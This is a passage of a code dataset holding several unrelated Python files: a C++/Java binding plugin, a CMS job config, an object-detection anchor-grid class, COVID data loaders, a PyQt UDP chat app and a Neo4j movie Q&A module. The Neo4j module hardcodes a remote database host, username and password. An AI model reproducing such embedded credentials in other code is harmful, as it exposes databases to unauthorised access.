WrapArrayConverter.check,\n        ]\n        return self.__getConverter(l, func_decl)\n\n    def getArgConverter(self, arg_decl, func_decl):\n        l = [WrapArrayArgConverter.check,\n             WrapVoidPtrArgConverter.check,\n             BuiltinPointerArgConverter.check, ]\n        return self.__getConverter(l, arg_decl, func_decl)\n\n    def getReturnConverter(self, ret_type, func_decl):\n        return BuiltinPointerReturnConverter.check(self.creator, ret_type,\n                                                   func_decl)\n\n    def linkStart(self):\n        self.classes = {}\n\n    def resolveInterfacePath(self, decl_or_type):\n        name = builtin_plugin.getJavaBuiltinType(self.target_info,\n                                                 decl_or_type.pointeeType)\n        cname = 'Const' + name[0].upper() + name[1:]\n        vname = 'C' + name[0].upper() + name[1:]\n        cpath = jpath.JPath((\"primitives\", cname, 'Ptr'))\n        vpath = jpath.JPath((\"primitives\", vname, 'Ptr'))\n        if decl_or_type.pointeeType.isConstQualified:\n            name = cname\n            klass = jclass.Interface\n            self.creator.setNamespace(jclass.Class, vpath)\n        else:\n            name = vname\n            klass = jclass.Class\n            self.creator.setNamespace(jclass.Interface, jpath.JPath(\n                (\"primitives\", cname, )))\n            self.creator.setNamespace(jclass.Interface, cpath)\n        if decl_or_type.pointeeType.spelling != \"void\":\n            self.creator.getClass(bc.LValueReferenceType(bc.BuiltinType(\n                decl_or_type.pointeeType.spelling)))\n            self.creator.resolveInterfacePath(bc.PointerType(bc.BuiltinType(\n                \"void\")))\n            self.creator.getClass(bc.PointerType(bc.BuiltinType(\n                \"void\")))\n        self.creator.setNamespace(jclass.Interface, jpath.JPath(\n            (\"primitives\", name, )))\n        pjp = jpath.JPath((\"primitives\", name, 'Ptr'))\n        self.classes[decl_or_type.pointeeType.spelling] = cpath, vpath\n        return klass, pjp\n\n    def resolveClassPath(self, decl_or_type):\n        if decl_or_type.pointeeType.isConstQualified:\n            decl_or_type = bc.PointerType(bc.BuiltinType(\n                decl_or_type.pointeeType.spelling))\n        return self.resolveInterfacePath(decl_or_type)\n\n    def linkEnd(self):\n        for spelling, (cpath, vpath) in self.classes.items():\n            if spelling == 'void':\n                void_ptr = cpath, vpath\n\n        for spelling, (cpath, vpath) in self.classes.items():\n            # print spelling, cpath, vpath\n            cklass = self.creator.getInterface(cpath)\n            klass = self.creator.getClass(vpath)\n            klass.addBase(cklass)\n\n            if spelling == 'void':\n                t = builtin_reference_plugin.builtin_class_wrapper[spelling]\n                f = WrapVoidPtrDecl(\"wrap\",\n                                    None,\n                                    bc.PointerType(bc.BuiltinType(\"void\")),\n                                    [WrapVoidPtrArg(\"ptr\",\n                                                    bc.BuiltinType(\"void\"), )],\n                                    t,\n                                    isStatic=True)\n                conv = self.creator.getFunctionConverter(f)\n                klass.addFunction(conv)\n            else:\n                klass.setBaseClass(self.creator.getClass(void_ptr[1]))\n                t = builtin_reference_plugin.builtin_class_wrapper[spelling]\n                f = PointerAtDecl(\n                    \"at\", None,\n                    bc.LValueReferenceType(bc.BuiltinType(spelling)),\n                    [bc.ParmVarDecl(\"index\",\n                                    bc.BuiltinType(\"int\"), )], t)\n                conv = self.creator.getFunctionConverter(f)\n                klass.addFunction(conv)\n\n                f = PointerCAtDecl(\"cAt\",\n                                   None,\n                                   bc.LValueReferenceType(\n                                       bc.BuiltinType(spelling,\n                                                      isConstQualified=True)),\n                                   [bc.ParmVarDecl(\"index\",\n                                                   bc.BuiltinType(\"int\"))],\n                                   t,\n                                   isConstQualified=True)\n                conv = self.creator.getFunctionConverter(f)\n                cklass.addFunction(conv)\n                klass.addFunction(conv)\n\n                f = WrapArrayDecl(\n                    \"wrap\",\n                    None,\n                    bc.PointerType(bc.BuiltinType(spelling)),\n                    # f = WrapArrayDecl(t, bc.BuiltinType(\"void\"),\n                    [WrapArrayArg(\"arg\",\n                                  bc.PointerType(bc.BuiltinType(spelling)), )],\n                    t,\n                    isStatic=True)\n                conv = self.creator.getFunctionConverter(f)\n                klass.addFunction(conv)\n\n            # p = self.classes[i].pointeeType\n            # spelling = p.spelling\n            # klass = self.creator.getClass(self.classes[i])\n\n            # if p.isConstQualified:\n            #     conv = self.creator.getFunctionConverter(f)\n            #     pass\n            # else:\n            #     ctype = bc.PointerType(\n            # bc.BuiltinType(p.spelling, isConstQualified=True))\n            #     cklass = self.creator.getInterface(ctype)\n            #     klass.addBase(cklass)\n\n    def jniHeader(self):\n        f = bw.cxx.Func(\"template<class T> T\", GET_DIRECT_ADDRESS,\n                        [\"JNIEnv *_jenv\", \"jobject _jobj\"])\n        f << 'jclass bbcls = _jenv->GetObjectClass(_jobj);'\n        f << 'jmethodID mid = _jenv->GetMethodID(bbcls, \"position\", \"()I\");'\n        f << ('void *p = (reinterpret_cast<int8_t*>'\n              '(_jenv->GetDirectBufferAddress'\n              '(_jobj))) + _jenv->CallIntMethod(_jobj, mid);')\n        f << 'return reinterpret_cast<T>(p);'\n        return f\n","sub_path":"py/blueboss/conv_java/builtin_pointer_plugin.py","file_name":"builtin_pointer_plugin.py","file_ext":"py","file_size_in_byte":14175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"135232461","text":"from WMCore.Configuration import Configuration\nconfig = Configuration()\nimport os\nb2gana_test_dir = os.environ['CMSSW_BASE']+'/src/Analysis/B2GAnaFW/test/'\n\n# Input .db and .txt files for JEC/JER\nimport glob\ninput_files = glob.glob(b2gana_test_dir+'JECs/JEC_ERA*')\ninput_files.append('XSEC_FILE')\n\nconfig.section_('General')\nconfig.General.transferOutputs = True\nconfig.General.transferLogs = True\nconfig.General.requestName = 'REQNAME'\nconfig.General.workArea = 'TASKDIR'\n\nconfig.section_('JobType')\nconfig.JobType.pluginName = 'Analysis'\nconfig.JobType.psetName = os.environ['CMSSW_BASE']+'/src/Analysis/B2GTTrees/test/B2GEdmToTTreeNtupleExtra_cfg.py'\nconfig.JobType.pyCfgParams = ['DataProcessing=DATAPROC', 'wantSummary=False', 'outputLabel=B2GTTreeNtupleExtra.root']\nconfig.JobType.inputFiles = input_files\n#config.JobType.sendExternalFolder = True\nconfig.JobType.maxMemoryMB = 2500\nconfig.JobType.maxJobRuntimeMin = 1900\n\nconfig.section_('Data')\nconfig.Data.outLFNDirBase = 'SE_USERDIR'\nconfig.Data.inputDataset = 'DATASET'\nconfig.Data.inputDBS = 'global'\nconfig.Data.splitting = 'EventAwareLumiBased'\nconfig.Data.unitsPerJob = 50000\nconfig.Data.publication = False\nconfig.Data.outputDatasetTag = 'PUBNAME' # outLFNDirBase/primary_dataset/outputDatasetTag/timestamp/000X/\n\n\n\n\nconfig.section_('Site')\nconfig.Site.storageSite = 'SE_SITE'\n","sub_path":"test/crab3/crab_template_ttreentuple_merged_MC.py","file_name":"crab_template_ttreentuple_merged_MC.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"103097202","text":"import os\nimport random\nimport numpy as np\nfrom PIL import Image\nfrom matplotlib.patches import Rectangle as rectangle\nimport matplotlib.pyplot as plt\n\n\nclass AnnotationRect:\n    dic = dict()\n\n    def __str__(self):\n        return \"x1: \" + str(self.x1) \\\n               + \", y1: \" + str(self.y1) \\\n               + \", x2: \" + str(self.x2) \\\n               + \", y2: \" + str(self.y2)\n\n    def __init__(self, x1, y1, x2, y2):\n        self.x1 = min(x1, x2)\n        self.x2 = max(x1, x2)\n        self.y1 = min(y1, y2)\n        self.y2 = max(y1, y2)\n        # print(\"TEMKENG\")\n\n    def get_width(self):\n        return self.x2 - self.x1\n\n    def get_height(self):\n        return self.y2 - self.y1\n\n    def get_area(self):\n        return self.get_height() * self.get_width()\n\n    def reader_ground_truth(self, filename):\n        reader = open(filename, \"r\")\n        annotation_list = list()\n        for i in reader:\n            d = i.split()\n            annotation_list.append(AnnotationRect(*list(map(int, d[:4]))))\n        return annotation_list\n\n    def dico(self, image_names):\n        for image in image_names:\n            annotation_files = self.reader_ground_truth(image.replace(\"jpg\", \"gt_data.txt\"))\n            self.dic.update({image: annotation_files})\n\n    def read_images(self):\n        for r, d, f in os.walk(\"./dataset_mmp/train/\"):\n            for file in f:\n                if \".jpg\" in file:\n                    image = os.path.join(r, file)\n                    annotation_files = self.reader_ground_truth(image.replace(\"jpg\", \"gt_data.txt\"))\n                    self.dic.update({image: annotation_files})\n\n    def select_and_draw(self):\n        self.read_images()\n        image = random.choice(list(self.dic.keys()))\n        annotation_names = self.dic.get(image)\n        image = Image.open(image)\n        fig = plt.figure()\n        ax = fig.add_subplot(111)\n        ax.imshow(image)\n        plt.axis('off')\n        for annotation_name in annotation_names:\n            ax.add_patch(rectangle((annotation_name.x1, annotation_name.y1), annotation_name.get_width(),\n                                   annotation_name.get_height(), linewidth=3, edgecolor='r', facecolor='none'))\n        fig.savefig('TEMKENG_with_rectangle.png')\n        plt.show()\n\n    def anchor_grid(self, fmap_cols, fmap_rows, scale_factor=1.0, scale=None, aspect_ratios=None):\n        if aspect_ratios is None:\n            aspect_ratios = []\n        if scale is None:\n            scale = []\n        anchor = np.zeros((fmap_rows, fmap_cols, len(scale), len(aspect_ratios), 4))\n        stride = 1 * scale_factor * 0.5\n        for i in range(fmap_rows):\n            rows = i * scale_factor\n            for j in range(fmap_cols):\n                cols = j * scale_factor\n                for m in range(len(scale)):\n                    width = scale[m]\n                    for n in range(len(aspect_ratios)):\n                        ar = aspect_ratios[n]\n                        height = ar * width\n                        center = [rows + stride, cols + stride]\n                        upper_left = [center[0] - height / 2, center[1] + width / 2]\n                        lower_right = [center[0] + height / 2, center[1] - width / 2]\n                        anchor[i][j][m][n] = upper_left + lower_right\n        return anchor\n\n    def area_interection(self, rect1, rect2):\n        dx = min(rect1.x2, rect2.x2) - max(rect1.x1, rect2.x1)\n        dy = min(rect1.y2, rect2.y2) - max(rect1.y1, rect2.y1)\n        if (dx >= 0) and (dy >= 0):\n            return dx * dy\n        return 0\n\n    def area_union(self, rect1, rect2):\n        return rect1.get_area() + rect2.get_area() - self.area_interection(rect1, rect2)\n\n    def IoU(self, rect1, rect2):\n        \"\"\"\n        The function compute the intersection over union between rect and  rect2\n        :param rect1:  AnnotationRect\n        :param rect2:  AnnotationRect\n        :return: The intersection over union\n        \"\"\"\n        return self.area_interection(rect1, rect2) / self.area_union(rect1, rect2)\n\n    def anchor_max_gt_overlaps(self, anchor_grid, gts=None):\n        if gts is None:\n            gts = []\n        fmap_rows, fmap_cols, len_scale, len_aspect_ratios, x = anchor_grid.shape\n        max_gt_overlaps = np.zeros((fmap_rows, fmap_cols, len_scale, len_aspect_ratios))\n        for i in range(fmap_rows):\n            for j in range(fmap_cols):\n                for m in range(len_scale):\n                    for n in range(len_aspect_ratios):\n                        anchor = AnnotationRect(*anchor_grid[i, j, m, n])\n                        max_overlap = 0\n                        for ground_truth in gts:\n                            overlap = self.IoU(anchor, ground_truth)\n                            if max_overlap < overlap:\n                                max_overlap = overlap\n                        max_gt_overlaps[i][j][m][n] = max_overlap\n\n        return max_gt_overlaps\n\n    def test(self):\n        self.select_and_draw()\n        self.read_images()\n        keys = self.dic.keys()\n        image_name = random.choice(list(keys))\n        image = Image.open(image_name)\n        gts = self.dic[image_name]\n        width, height = image.size\n        scale_factor = 8\n        scales = [70, 100, 140, 200]\n        aspect_ratios = [0.5, 1.0, 2.0]\n        anchor_grid_object = self.anchor_grid(int(width / scale_factor), int(height / scale_factor), scale_factor,\n                                              scales,\n                                              aspect_ratios)\n        max_gt_overlaps = self.anchor_max_gt_overlaps(anchor_grid_object, gts)\n        fmap_rows, fmap_cols, len_scale_factor, len_aspect_ratios = max_gt_overlaps.shape\n        fig = plt.figure()\n        ax = fig.add_subplot(111)\n        ax.imshow(image)\n        plt.axis('off')\n        for i in range(fmap_rows):\n            for j in range(fmap_cols):\n                for m in range(len_scale_factor):\n                    for n in range(len_aspect_ratios):\n                        if max_gt_overlaps[i][j][m][n] > 0.7:\n                            rect = AnnotationRect(*anchor_grid_object[i, j, m, n])\n                            ax.add_patch(rectangle((rect.x1, rect.y1), rect.get_width(), rect.get_height(), linewidth=3,\n                                                   edgecolor='b', facecolor='none'))\n\n        for rect in gts:\n            ax.add_patch(rectangle((rect.x1, rect.y1), rect.get_width(), rect.get_height(), linewidth=3, edgecolor='r',\n                                   facecolor='none'))\n        fig.savefig('TEMKENG_with_rectangle_and_over.pdf')\n        plt.show()\n\n\nb = AnnotationRect(4, 5, 9, 7)\nb.test()\n","sub_path":"AnnotationRect.py","file_name":"AnnotationRect.py","file_ext":"py","file_size_in_byte":6638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"1289818","text":"from logzero import logger\nimport pandas as pd\n\n\ndef load_covid_data() -> (pd.DataFrame, pd.Series):\n    \"\"\"\n    Load government Covid cases up to a few days before data is published (expect incomplete data in last days)\n\n    :return: Case data, and sorted list of available local authorities\n    \"\"\"\n    covid_data = pd.read_csv('data/utla_cases.csv')\n    covid_data.date = pd.to_datetime(covid_data.date)\n\n    latest = covid_data.date.max() - pd.Timedelta('3 days')\n    covid_data = covid_data[covid_data.date <= latest]\n\n    covid_data = covid_data.sort_values(by=['areaName', 'date'])\n    areas = covid_data.areaName.unique()\n    # logger.info(f'Areas: {areas}')\n    return covid_data, areas\n\n\ndef load_vaccine_data() -> pd.DataFrame:\n    \"\"\"\n    Load figures on first and second vaccine doses administered\n    :return:\n    \"\"\"\n    vax_data = pd.read_csv('data/doses.csv')\n    vax_data.date = pd.to_datetime(vax_data.date)\n    vax_data = vax_data[['date', 'weeklyPeopleVaccinatedFirstDoseByVaccinationDate',\n                         'weeklyPeopleVaccinatedSecondDoseByVaccinationDate']]\n\n    vax_data = pd.melt(vax_data, id_vars=['date'], value_vars=['weeklyPeopleVaccinatedFirstDoseByVaccinationDate',\n                                                               'weeklyPeopleVaccinatedSecondDoseByVaccinationDate'])\n    vax_data = vax_data.rename(columns={'variable': 'dose_idx', 'value': 'new_doses'})\n    vax_data.loc[vax_data['dose_idx'] == 'weeklyPeopleVaccinatedFirstDoseByVaccinationDate', 'dose_idx'] = 'first'\n    vax_data.loc[vax_data['dose_idx'] == 'weeklyPeopleVaccinatedSecondDoseByVaccinationDate', 'dose_idx'] = 'second'\n\n    return vax_data\n","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"51563529","text":"#!/usr/bin/python3\n\nimport cmath\n\ndef cno_entered(prompt_string):\n    message = prompt_string\n    while (message !=\"\"):\n        cno = input(message)\n        parts = cno.split('+')\n\n        if (False): message = \"Please try again.\\n\" + prompt_string\n        elif (False): message = \"Only alphabetic characters, please.\\n\" + prompt_string\n        else: message = \"\"\n    x = float(parts[0].strip())\n    y = float(parts[1].strip()[:-1])\n    return complex(x,y)\n\nz = cno_entered(\"Complex number in form a+bi: \")\n\n# printing real and imaginary part of complex number \nprint (\"The real part of complex number is : \",end=\"\") \nprint (z.real) \n  \nprint (\"The imaginary part of complex number is : \",end=\"\") \nprint (z.imag) \n\n# printing phase of a complex number using phase() \n# print (\"The phase of complex number is : \",end=\"\") \n# print (cmath.phase(z)) \n\n# converting complex number into polar using polar() \nw = cmath.polar(z) \n  \n# printing modulus and argument of polar complex number \nprint (\"The modulus is : \",end=\"\") \nprint (w[0]) \nprint (\"The argument is : \",end=\"\") \nprint (w[1]) \n  \n# converting complex number into rectangular using rect() \n#w = cmath.rect(1.4142135623730951, 0.7853981633974483) \n  \n# printing rectangular form of complex number \n#print (\"The rectangular form of complex number is : \",end=\"\") \n#print (w) ","sub_path":"complex.py","file_name":"complex.py","file_ext":"py","file_size_in_byte":1327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"642416988","text":"#!/usr/bin/python\n\nfrom PyQt4.QtNetwork import QUdpSocket, QHostAddress\nfrom PyQt4 import QtCore, QtGui\nfrom PyQt4.QtCore import *\nimport gui\nimport sys\n\nclass MainWind(QtGui.QMainWindow, gui.Ui_MainWindow):\n\n    def app_q(self):\n       app.quit()\n\n    def print_version(self):\n        self.info_box(\"App Version\", \"p2pme-1.0(beta) ®\")\n\n    def __init__(self):\n        super(self.__class__, self).__init__()\n        self.setupUi(self)\n        QObject.connect(self.startServer, QtCore.SIGNAL ('clicked()'), self.start_server)\n        QtCore.QObject.connect(self.sendButton, QtCore.SIGNAL('clicked()'), self.send_message)\n        QtCore.QObject.connect(self.clearButton, QtCore.SIGNAL('clicked()'), self.clear_logs)\n        self.messageBox.textChanged.connect(self.check_for_return)\n        self.clientIp.returnPressed.connect(self.startServer.click)\n        self.nickName.returnPressed.connect(self.startServer.click)\n        #timers\n        self.progressBarTimer = QtCore.QTimer(self)\n        self.timer_clientCheck = QtCore.QTimer(self)\n        self.timer2 = QtCore.QTimer(self)\n        self.timer = QtCore.QTimer(self)\n        #timer-signals\n        QtCore.QObject.connect(self.timer, QtCore.SIGNAL(\"timeout()\"), self.update_my_status_online)\n        QtCore.QObject.connect(self.progressBarTimer, QtCore.SIGNAL(\"timeout()\"), self.progressBarInc)\n        QtCore.QObject.connect(self.timer2, QtCore.SIGNAL(\"timeout()\"), self.check_client_status)\n        QtCore.QObject.connect(self.timer_clientCheck, QtCore.SIGNAL(\"timeout()\"), self.setLbl_text)\n        self.progressBar.valueChanged.connect(self.checkProgressVal)\n        self.actionVersion.triggered.connect(self.print_version)\n        self.actionExit.triggered.connect(self.app_q)\n        #progressBar-settings\n        self.progressBar.setMaximum(10)\n        self.progressBar.setMinimum(0)\n\n        #parameters for testing\n        #self.nickName.setText(\"nick\")\n        #self.clientIp.setText(\"192.168.0.13\")\n        #parameters for testing\n\n\n    def setLbl_text(self):\n        palette = QtGui.QPalette()\n        palette.setColor(QtGui.QPalette.Foreground, QtCore.Qt.darkRed)\n        self.label_3.setPalette(palette)\n        self.label_3.setText(\"Client is offline\")\n\n    def info_box(self,ttl, info):\n        msgBox = QtGui.QMessageBox()\n        msgBox.setWindowTitle(ttl)\n        msgBox.setText(info)\n        msgBox.exec_()\n\n\n    def info_box_advanced(self,ttl, info):\n        msgBox = QtGui.QMessageBox()\n        stayButton = msgBox.addButton(self.tr(\"Stay connected\"), QtGui.QMessageBox.ActionRole)\n        disconnectButton = msgBox.addButton(self.tr(\"Disconect\"), QtGui.QMessageBox.ActionRole)\n        msgBox.setDefaultButton(stayButton)\n        msgBox.setWindowTitle(ttl)\n        msgBox.setText(info)\n        msgBox.exec_()\n        if msgBox.clickedButton() == disconnectButton:\n            self.update_my_status_offline()\n            self.server.close()\n            self.set_box_enabled()\n            self.startServer.setText(\"Connect\")\n            self.label_3.setText(\"\")\n            self.progressBarTimer.stop()\n            self.timer2.stop()\n            self.timer.stop()\n            self.progressBar.setValue(0)\n            self.progressLbl.setText(\"\")\n            self.progressBar.setVisible(False)\n            self.progressLbl.setVisible(False)\n            self.timer_clientCheck.stop()\n\n    def clear_logs(self):\n        self.listWidget.clear()\n        self.messageBox.setText(\"\")\n\n    def update_list(self, data):\n        self.listWidget.addItem(data)\n        self.listWidget.scrollToBottom()\n\n    def myItemOnList(self, data):\n        item = QtGui.QListWidgetItem(data)\n        item.setTextAlignment(QtCore.Qt.AlignRight)\n        self.listWidget.addItem(item)\n        self.listWidget.scrollToBottom()\n\n    def read_message(self):\n        palette = QtGui.QPalette()\n\n        #recieving-message\n        (data, senderAddress, senderPort) = self.server.readDatagram(1024)\n        senderAddress = senderAddress.toString()\n        data = data.decode(\"utf-8\")\n        if senderAddress == self.clientIp.text():\n            if data == '$#*--imonline--*#$':\n                palette.setColor(QtGui.QPalette.Foreground, QtCore.Qt.darkGreen)\n                self.timer_clientCheck.start(4000)\n                self.label_3.setText(\"Client is online\")\n                self.label_3.setPalette(palette)\n            elif data == '$#*--imoffline--*#$':\n                palette.setColor(QtGui.QPalette.Foreground, QtCore.Qt.darkRed)\n                self.label_3.setText(\"Client is offline\")\n                self.label_3.setPalette(palette)\n                self.timer_clientCheck.stop()\n            else:\n                self.update_list(data)\n\n    def send_datagram(self, message):\n        send = QUdpSocket()\n        send.writeDatagram(message, QHostAddress(self.clientIp.text()), self.clientPort.value())\n\n\n    def update_my_status_online(self):\n        testmsg = '$#*--imonline--*#$'\n        self.send_datagram(testmsg)\n\n    def update_my_status_offline(self):\n        testmsg = '$#*--imoffline--*#$'\n        self.send_datagram(testmsg)\n\n    def set_box_disabled(self):\n        self.nickName.setDisabled(True)\n        #self.hostIp.setDisabled(True)\n        self.hostPort.setDisabled(True)\n        self.clientIp.setDisabled(True)\n        self.clientPort.setDisabled(True)\n\n    def set_box_enabled(self):\n        self.nickName.setDisabled(False)\n        #self.hostIp.setDisabled(False)\n        self.hostPort.setDisabled(False)\n        self.clientIp.setDisabled(False)\n        self.clientPort.setDisabled(False)\n\n    def check_client_status(self):\n        palette = QtGui.QPalette()\n        palette.setColor(QtGui.QPalette.Foreground, QtCore.Qt.darkRed)\n        self.label_3.setPalette(palette)\n        if self.label_3.text() == \"\":\n            self.label_3.setText(\"Client is offline\")\n\n    def check_parameters(self):\n        if self.nickName.text() == '':\n            self.progressBar.setValue(10)\n            self.progressLbl.setText(\"Connecting failed!\")\n            self.info_box(\"Connection Refused\", \"Nick not set.\")\n            return 1\n        elif self.clientIp.text() == '...':\n            self.progressBar.setValue(10)\n            self.progressLbl.setText(\"Connecting failed!\")\n            self.info_box(\"Connection Refused\", \"Client ip not set.\")\n            return 1\n        elif self.hostIp.text() == '...':\n            self.progressBar.setValue(10)\n            self.progressLbl.setText(\"Connecting failed!\")\n            self.info_box(\"Connection Refused\", \"Host ip not set.\")\n            return 1\n        elif self.clientIp.text() != '...':\n            IP = self.clientIp.text()\n            IP = IP.split('.')\n            for i in range(0, 4):\n                if IP[i] == '':\n                    self.info_box(\"Connection Refused\", \"Client ip incompletely.\")\n                    self.progressBar.setValue(10)\n                    self.progressLbl.setText(\"Connecting failed!\")\n                    return 1\n                    break\n                elif self.hostIp.text() != '...':\n                    IP = self.hostIp.text()\n                    IP = IP.split('.')\n            for i in range(0, 4):\n                if IP[i] == '':\n                    self.info_box(\"Connection Refused\", \"Host ip incompletely.\")\n                    self.progressBar.setValue(10)\n                    self.progressLbl.setText(\"Connecting failed!\")\n                    return 1\n                    break\n\n    def start_server(self):\n        self.progressBar.setVisible(True)\n        self.progressLbl.setVisible(True)\n        self.progressBar.setValue(2)\n        if self.check_parameters() != 1:\n            self.progressLbl.setText(\"Connecting...\")\n            self.progressBar.setValue(5)\n            self.set_box_disabled()\n            if (self.startServer.text() == \"Connect\"):\n                self.server = QUdpSocket()\n                error = self.server.bind(QHostAddress(self.hostIp.text()), self.hostPort.value())\n                if (error == True):\n                    self.update_my_status_online()\n                    self.timer.start(3000)\n                    self.timer_clientCheck.start(4000)\n                    self.progressBarTimer.start(100)\n                    self.timer2.setSingleShot(True)\n                    self.timer2.start(300)\n                    QtCore.QObject.connect(self.server, QtCore.SIGNAL('readyRead()'), self.read_message)\n                    self.startServer.setText(\"Disconnect\")\n                elif (error == False):\n                    self.info_box(\"Connection refused\", \"The Host Address or Host Port are currently unavailable.\")\n                    self.progressBar.setValue(10)\n                    self.progressLbl.setText(\"Connecting failed!\")\n                    self.set_box_enabled()\n            elif (self.startServer.text() == \"Disconnect\"):\n                self.update_my_status_offline()\n                self.server.close()\n                self.set_box_enabled()\n                self.startServer.setText(\"Connect\")\n                self.label_3.setText(\"\")\n                self.progressBarTimer.stop()\n                self.timer2.stop()\n                self.timer.stop()\n                self.progressBar.setVisible(False)\n                self.progressLbl.setVisible(False)\n                self.timer_clientCheck.stop()\n\n    def check_for_return(self):\n        a = self.messageBox.toPlainText()\n        a = str(a)\n        x = len(a)\n        if a != \"\":\n            ascii = ord(a[x-1])\n            if ascii == 10:\n                self.sendButton.click()\n        ##if x > 30:\n          ##  self.message = a + 10\n\n    def send_message(self):\n        self.progressBar.setVisible(True)\n        self.progressLbl.setText(\"Sending Message...\")\n\n        #preparing-for-sending\n        message = self.messageBox.toPlainText()\n        x = len(message)\n        nick = self.nickName.text()\n        msg = nick + \": \\n\"  + message\n        self.progressBar.setValue(2)\n        if self.startServer.text() == 'Connect':\n            self.progressBar.setValue(10)\n            self.progressLbl.setText(\"Sending Refused\")\n            self.info_box(\"Sending Refused\", \"Server not started.\")\n\n\n        elif message != '':\n\n            self.progressBar.setValue(6)\n            if self.label_3.text() == \"\" or self.label_3.text() == \"Client is offline\":\n                self.info_box_advanced(\"Sending Unsuccessful\",\"The message cannot be sent. \\nWrong Client Ip or client not online.\")\n                self.progressBar.setValue(10)\n                self.progressLbl.setText(\"Sending Failed!\")\n            else:\n                self.messageBox.clear()\n                self.myItemOnList(msg)\n                self.send_datagram(msg)\n                self.progressBar.setValue(10)\n                self.progressLbl.setText(\"Message Sent!\")\n        elif message == '':\n            self.progressBar.setValue(10)\n            self.progressLbl.setText(\"Empty Message!\")\n#progressBar-work\n\n    def progressBarInc(self):\n        i = self.progressBar.value()\n        i += 1\n        self.progressBar.setValue(i)\n\n    def checkProgressVal(self):\n        if self.progressBar.value() == 10:\n            self.update_my_status_online()\n            self.progressBarTimer.stop()\n            self.progressLbl.setText(\"Connected!\")\n\n\n\ndef main():\n    app = QtGui.QApplication(sys.argv)\n    form = MainWind()\n    form.show()\n    app.exec_()\n\nif __name__ == '__main__':\n    main()\n\n\n","sub_path":"p2p.py","file_name":"p2p.py","file_ext":"py","file_size_in_byte":11431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"43358547","text":"from squirrel.runner import run\nfrom squirrel.pipeline import Manual\nfrom squirrel.mode import TRAIN\n\nclass PBViewer(Manual):\n    IMPORT = [\"snapshot.data\"]\n    EXPORT = []\n\n    def run(self, cache,TRAIN):\n        data = cache.stream_reader(\"fea.days.since.first.action\").get_iterator()\n\n        counter = 0\n        for d in data:\n            print(d)\n            counter += 1\n            if counter > 5:\n                break\n\n        # print('{} records'.format(counter))\n        return counter\n\nif __name__ == \"__main__\":\n    run(PBViewer, __file__)\n","sub_path":"pipeline/src/tools/view-protobuff-streams.py","file_name":"view-protobuff-streams.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"478615325","text":"# 根据问题模板查询neo4j数据库，获得问题答案\n# 演员、导演、制片人实体是否可以合并为person类？\n# 0627 新增问题类的处理 【20-25】\n\"\"\"\n【提问模板】\n0:nm 评分\n1:nm 上映时间\n2:nm 类型\n3:nm 简介\n4:nm 演员列表\n5:nm 导演/制片\n6:nr ng 电影作品\n7:nr 电影作品\n8:nr 参与 评分大于 x\n9:nr 参与 评分小于 x\n10:nr 电影类型\n11:nr nr 合作 电影列表\n12:nr 电影数量\n13:nr 作品平均分\n14:nm 排名\n15:nm 语言\n16:nm 推荐\n17:nm 长度\n18:nm 主要奖项\n19:nm 国家\n20:ng 电影数量\n21:大于x 数量\n22:小于x 数量\n23:nc 电影数量\n24:nl 电影数量\n\"\"\"\nimport re\n\nfrom py2neo import Graph\n\n\nclass Query:  # 连接图数据库\n    def __init__(self):\n        host = \"http://120.53.2.37:7474\"\n        username = \"neo4j\"\n        password = \"981015\"\n        self.graph = Graph(host, user=username, password=password)\n\n    def search(self, cql):  # 运行查询语句\n        result = []\n        find_rela = self.graph.run(cql)\n        # list(find_rela) 形如 [Record({'m.score': '9.7'})]\n        for i in find_rela:\n            result.append(i.items()[0][1])\n        return result\n\n\nclass QuestionTemplate:\n    def __init__(self):\n        self.q_template_dict = {  # 模板编号：查询方法\n            0: self.get_movie_rating,\n            1: self.get_movie_release_date,\n            2: self.get_movie_type,\n            3: self.get_movie_introduction,\n            4: self.get_movie_actorlist,\n            5: self.get_director_or_producer,\n            6: self.get_people_type_movie,\n            7: self.get_people_movielist,\n            8: self.get_people_movie_rating_larger,\n            9: self.get_people_movie_rating_smaller,\n            10: self.get_people_movietype,\n            11: self.get_pwithp_movielist,\n            12: self.get_people_movienum,\n            13: self.get_people_average_movierating,\n            14: self.get_movie_rank,\n            15: self.get_movie_language,\n            16: self.get_movie_recommend,\n            17: self.get_movie_length,\n            18: self.get_movie_brief_prize,\n            19: self.get_movie_country,\n            20: self.get_genre_num,\n            21: self.get_rating_larger,\n            22: self.get_rating_smaller,\n            23: self.get_country_num,\n            24: self.get_language_num,\n        }\n\n        self.graph = Query()\n\n    def get_question_answer(self, question, template):\n        \"\"\"\n        :param question: 词性标注后的问题 形如 ['陈凯歌/nr', '导/v', '了/ul', '哪些/r', '爱情/ng', '电影/n']\n        :param template: 模板序号+模板内容 形如 \"0\\tnm 评分\"\n        :return:\n        \"\"\"\n        templatelist = str(template).strip().split(\"\\t\")\n        if len(templatelist) != 2:\n            print(\"出错！问题模板格式不正确！\")\n            error_msg = \"出错！问题模板格式不正确！\"\n            return error_msg\n        template_id, template_str = int(templatelist[0]), str(templatelist[1])\n        self.template_id = template_id\n        self.template_str2list = template_str.split()  # 转化为列表，例如 nr 作品平均分 → [\"nr\", \"作品平均分\"]\n\n        # 预处理问题\n        question_word, question_flag = [], []\n        for wpair in question:\n            word, flag = wpair.split(\"/\")\n            question_word.append(str(word).strip())\n            question_flag.append(str(flag).strip())\n        self.question_word = question_word\n        self.quesiton_flag = question_flag\n        self.raw_question = question\n\n        # 根据问题模板进行对应的查询，获得答案\n        if template_id != 7:\n            ans = self.q_template_dict[template_id]()\n        else:\n            ans = self.q_template_dict[template_id](\"\")\n        return ans\n\n    def get_movie_name(self):  # 获取电影名称\n        tag_index = self.quesiton_flag.index(\"nm\")\n        movie_name = self.question_word[tag_index]\n        return movie_name\n\n    def 